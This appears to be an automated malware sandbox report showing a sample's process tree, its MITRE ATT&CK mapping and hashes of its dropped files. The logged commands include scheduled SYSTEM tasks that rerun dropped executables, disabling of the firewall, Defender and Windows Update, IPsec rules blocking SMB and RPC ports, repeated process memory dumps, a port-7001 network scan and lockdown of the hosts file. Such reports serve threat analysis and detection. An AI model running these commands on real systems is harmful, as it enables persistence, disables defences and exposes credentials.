  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "armegntcm" /ru system /tr "cmd /c C:\Windows\ime\pnreyic.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1800
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1824
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "armegntcm" /ru system /tr "cmd /c C:\Windows\ime\pnreyic.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1528
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "szvqemctv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\hrmeszcf\pnreyic.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5076
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2248
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "szvqemctv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\hrmeszcf\pnreyic.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3164
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "rbtkfiyzt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\gcettrccj\zergmt.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:964
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "rbtkfiyzt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\gcettrccj\zergmt.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4772
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4756
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1960
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1956
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2264
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4416
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3240
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1976
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4336
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1716
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5024
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3940
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3156
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:8
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    PID:1316
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:4716
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:2008
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:3260
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1572
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3144
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  PID:4368
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:676
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:1484
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3004
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4016
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:1856
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2204
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    PID:1340
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:2428
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2432
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2440
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2160
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    PID:5044
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4916
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1328
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  PID:540
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1664
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 760 C:\Windows\TEMP\nblmptktz\760.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1620
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:2680
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 60 C:\Windows\TEMP\nblmptktz\60.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4728
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 2060 C:\Windows\TEMP\nblmptktz\2060.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3012
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 2556 C:\Windows\TEMP\nblmptktz\2556.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1952
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 2728 C:\Windows\TEMP\nblmptktz\2728.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2140
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 2764 C:\Windows\TEMP\nblmptktz\2764.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3460
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 3112 C:\Windows\TEMP\nblmptktz\3112.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3016
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 3864 C:\Windows\TEMP\nblmptktz\3864.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2888
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 3960 C:\Windows\TEMP\nblmptktz\3960.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:392
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 4060 C:\Windows\TEMP\nblmptktz\4060.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:540
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 2784 C:\Windows\TEMP\nblmptktz\2784.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3100
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 3688 C:\Windows\TEMP\nblmptktz\3688.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5104
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 4524 C:\Windows\TEMP\nblmptktz\4524.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4988
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 1668 C:\Windows\TEMP\nblmptktz\1668.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1848
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 1440 C:\Windows\TEMP\nblmptktz\1440.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:664
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 216 C:\Windows\TEMP\nblmptktz\216.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:452
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 2632 C:\Windows\TEMP\nblmptktz\2632.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2096
- C:\Windows\TEMP\nblmptktz\cntrtrctt.exe
  C:\Windows\TEMP\nblmptktz\cntrtrctt.exe -accepteula -mp 3172 C:\Windows\TEMP\nblmptktz\3172.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1488
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\nblmptktz\etgfqftjv\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1644
- - C:\Windows\nblmptktz\etgfqftjv\ncgcflyve.exe
    ncgcflyve.exe TCP 181.215.0.1 181.215.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:212
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2340
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3244
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3648
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:5144
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:4800
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2944
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:1168

C:\Windows\SysWOW64\ditzew.exe
C:\Windows\SysWOW64\ditzew.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3600

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\pnreyic.exe
1⤵
PID:2308
- C:\Windows\ime\pnreyic.exe
  C:\Windows\ime\pnreyic.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4076

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\hrmeszcf\pnreyic.exe /p everyone:F
1⤵
PID:4896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4108
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\hrmeszcf\pnreyic.exe /p everyone:F
  2⤵
  PID:3268

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\gcettrccj\zergmt.exe /p everyone:F
1⤵
PID:208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2772
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\gcettrccj\zergmt.exe /p everyone:F
  2⤵
  PID:4996

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\hrmeszcf\pnreyic.exe /p everyone:F
1⤵
PID:3660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4916
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\hrmeszcf\pnreyic.exe /p everyone:F
  2⤵
  PID:3604

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\pnreyic.exe
1⤵
PID:2464
- C:\Windows\ime\pnreyic.exe
  C:\Windows\ime\pnreyic.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5852

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\gcettrccj\zergmt.exe /p everyone:F
1⤵
PID:4100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1676
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\gcettrccj\zergmt.exe /p everyone:F
  2⤵
  PID:3160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\gcettrccj\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\TEMP\nblmptktz\1440.dmp

Filesize
2.8MB

MD5
1c8d094e78fb9552e8ee71f5b3243f6d

SHA1
b78c741d4b9424321590ab52bb87f6284ee88588

SHA256
768972440e9e7d70479f7a04dc14cb59c5de97696f62b1077d652d4866b28e5a

SHA512
e3da98009a018dbb7487ff5c9d76b2c21be914013e64feafd8ffef13e5453c359f16d5b03bfe30695e41c083f4d313e21f30787c5a3ec0551505d97e379831b7

Download Submit
C:\Windows\TEMP\nblmptktz\1668.dmp

Filesize
8.7MB

MD5
6984d3578dfd75ce859d7b9f909a4fbe

SHA1
fc9547942eb6a93397b5af195966be7c18351e5f

SHA256
8c8a9f62f6e8e8a250e38605f26200b69b10235c5ca232b71cc43d4168f01f5b

SHA512
bd383de4f2b52a5ed4f401ccbf164e02311b70c207f332a8fb2d938e97b6f5a7f7279255465bb1a74252bb29eb700abdf1da974d7abb156510cf9e76e2a9dca7

Download Submit
C:\Windows\TEMP\nblmptktz\2060.dmp

Filesize
4.1MB

MD5
c3190ce0843b4589065283c11ecdf398

SHA1
04a0a4155d9888e525678d7c7992a0955e27e67b

SHA256
ecf5e1d24a199818a495bc5c16bcd89f753624f278e41298745cb0b5df0ee1dd

SHA512
58b2aa9c7a77a9649e422a54658197da38eb8b6454023b11878ea6df2effecee109975c983971cce266f0b73488063451c6be9310df51ed3eb6acf5c8ce1c542

Download Submit
C:\Windows\TEMP\nblmptktz\2556.dmp

Filesize
4.0MB

MD5
8272d33c491671342d9fda8058cf68c4

SHA1
d95d563949c6131616832b1162f10f8873230ebf

SHA256
9147872f5eb4730284ee6f4d41e9788ed9ff05667da8c7963de02daf92be56af

SHA512
123b4809a58e72ddc798a39fb4f31b3016b47131f310fc3cb08d71b29819f52214d0a2535e14354ce6d9976717c4b521763a2ed1cf8e24977ddfb24410e386eb

Download Submit
C:\Windows\TEMP\nblmptktz\2728.dmp

Filesize
3.0MB

MD5
a1061fb8ee4ad640f5279e13127f7e50

SHA1
dd662e2c28ed27f0efe3719ef43138d4137e3a46

SHA256
ebe6047e008fc76d62403f912a301465beff9ff7dc8e263c44a3075092605ef6

SHA512
279a84ac630e5a65c5e4d71a739f395a317397ade8dc440de8c959584d2128d484453ceffef0568d586d608967823e5632179daad167a47bca5531da191b8020

Download Submit
C:\Windows\TEMP\nblmptktz\2764.dmp

Filesize
7.6MB

MD5
c1c4c38135d283d383b17e6020ea065a

SHA1
e361303afeff9d3301e4b4b87465d102db6ac281

SHA256
b142f7cfb6f48f9df46d3523f7c859cdfd1fe320ce68dafa07ca2bcdf3113c3b

SHA512
f9ef63d06c3eefc4e442628c4492a0f417cce6ace461cae9aedf38875711ce0fc9b6ae5b8e6994a3a43e38571afad5741badee7fbe7a0efa25ce3e7e2c7de824

Download Submit
C:\Windows\TEMP\nblmptktz\2784.dmp

Filesize
43.7MB

MD5
73bb458462c6184e3847c4e5a0f88871

SHA1
b641002e12de5c3ed00ed7aa69fd22d35472ed0b

SHA256
9c3ad22b2d008062cdb6b816ac01c65855ecc00a5e002dad4627376a2047428b

SHA512
e11c07a6918d59f1480657e033f6265bd75691b2c3ac540ba63e1fd867c562206c03031c1c762bd60833c9f40cae4ba4667ae4fc12ae5f80158c15dd62ff714b

Download Submit
C:\Windows\TEMP\nblmptktz\3112.dmp

Filesize
822KB

MD5
e0a05109f19e8ba52b1455659659a2ca

SHA1
bcb48bf3fc2b8c9efb4519e14a4a816bee31e379

SHA256
3dc2ba2452baeecdc5b474ba9ee91fc58bb4180834d92ed1f78b092fb5748c71

SHA512
ebe8854155026bba63b87d9b15d2efb0a6dcaa113f70e04a220822d8512bc112a4140abc8a4d6adbfcdf1575789ea177a0ef798e23a787195e468da7669066bc

Download Submit
C:\Windows\TEMP\nblmptktz\3688.dmp

Filesize
1.2MB

MD5
476ecfcd235f8db6db7a06d944dae636

SHA1
279da5ce9a84bf0a735059241a253caf5a4e125a

SHA256
f06b9236cd289053f7864ebd1bab293427862cb81747a626c3eebe4657185986

SHA512
4e0acba43529a510488f78ecac6b8676ec9b1c080d91a1588b9f18cb0f025f9245b63997757549231dfcf22f4571c86b67a14e5cfd87cd8baa98e5bea9e709a3

Download Submit
C:\Windows\TEMP\nblmptktz\3864.dmp

Filesize
2.3MB

MD5
5bd59e28689e79e7afd8a83f7ea1ce32

SHA1
aae21e1f6010f8df27966a0ba23fba08831c67e6

SHA256
0768db34bb287603686d46054f7d60a67a48ab0391ddd04e787adefd27b83a14

SHA512
48d2c6465a96267fa7fbb59c0fb29c7db9c3675698252484e885b2d51afef232581207295838813ca89f1361e3db6dc6bf9655d2eb5fad233a36015fa6d076af

Download Submit
C:\Windows\TEMP\nblmptktz\3960.dmp

Filesize
20.6MB

MD5
a7e65df5f37615441365125d81e928f7

SHA1
3317de8c8abb5bf60ea11f403565805eab3cc751

SHA256
e788c01607dbccebcab5a9ca43f3a1955935a83333d02ac59467cd38e7d5e334

SHA512
58a355b1dc5516e54d7c0bbcc6d12c5828c85bab961daae1376e99e8419190f17289a2f14fbb03f04e87bb950236f04f7248b456250e343345730d4181959c4a

Download Submit
C:\Windows\TEMP\nblmptktz\4060.dmp

Filesize
4.2MB

MD5
9779629b1bad5e5b7d0398329c79903d

SHA1
bd2837ca6cdedd97dc46a2103fe147f54ed4e196

SHA256
1641353d5b84c61fab8379b9630fcec0fd240deb2207bf480ce5fa16ee064b53

SHA512
507a53e5e74cbc1d0da0527216cc001d61d2568128b308411d2dcc73a036e73ec8881505afcd43271cf2c00423127a5965b79f9e9af643dbb174f8228cb2f756

Download Submit
C:\Windows\TEMP\nblmptktz\4524.dmp

Filesize
25.7MB

MD5
163b2e4fa76dae1463e46cf6c8c03e59

SHA1
a42a119ec8b19634d0ac664dfb2b3aec586f03af

SHA256
c5257e742c254d707d367186caeb937e0b68e5c7dbc5d86faa9feaa2f6d7f789

SHA512
22f3851ff66c14957f4e5ec78cbe6a68a874bd761cdc59030a0b3fb283b97cdcd0f106345f43001828613b10f2b0404a0e17c65d94186c380159d9f5a8491da5

Download Submit
C:\Windows\TEMP\nblmptktz\60.dmp

Filesize
33.6MB

MD5
7a8df21365ed0cb2db4b9b776009fccc

SHA1
80b95c08010dce1dcf084728873452b3caf34d2d

SHA256
19af4edeb9cfa2d2945296bc99046b40e6a902f58da5ae9c143bca4c3ba99af1

SHA512
e06d6838b24594c7879bbf9639a2a391694a06b0bc9cab56e61b036e91c28145323769fd58ca5e7e612a3fd3bfa29b031a4877f2b5534294790e74bb390cac46

Download Submit
C:\Windows\TEMP\nblmptktz\760.dmp

Filesize
1019KB

MD5
9e0d75884aca8e93e2552d02fc43251f

SHA1
dfb398cbf6052d44dee01064c25ddb153b4b1e22

SHA256
4f94955dff258d67ea06e982f836a7a6446eb01ca47a9985dc2538ffad04d049

SHA512
7af5b4dffb71b4bb9809c5cd98c5a4caf4fc7f5fe71ff50503e9a19fd54c83245818a7a43bbbfcd86b4eb70c3835d7ae307dbc76381c8bda39e73614d5f4b823

Download Submit
C:\Windows\Temp\gcettrccj\zergmt.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\nblmptktz\cntrtrctt.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\nspEBC9.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nspEBC9.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
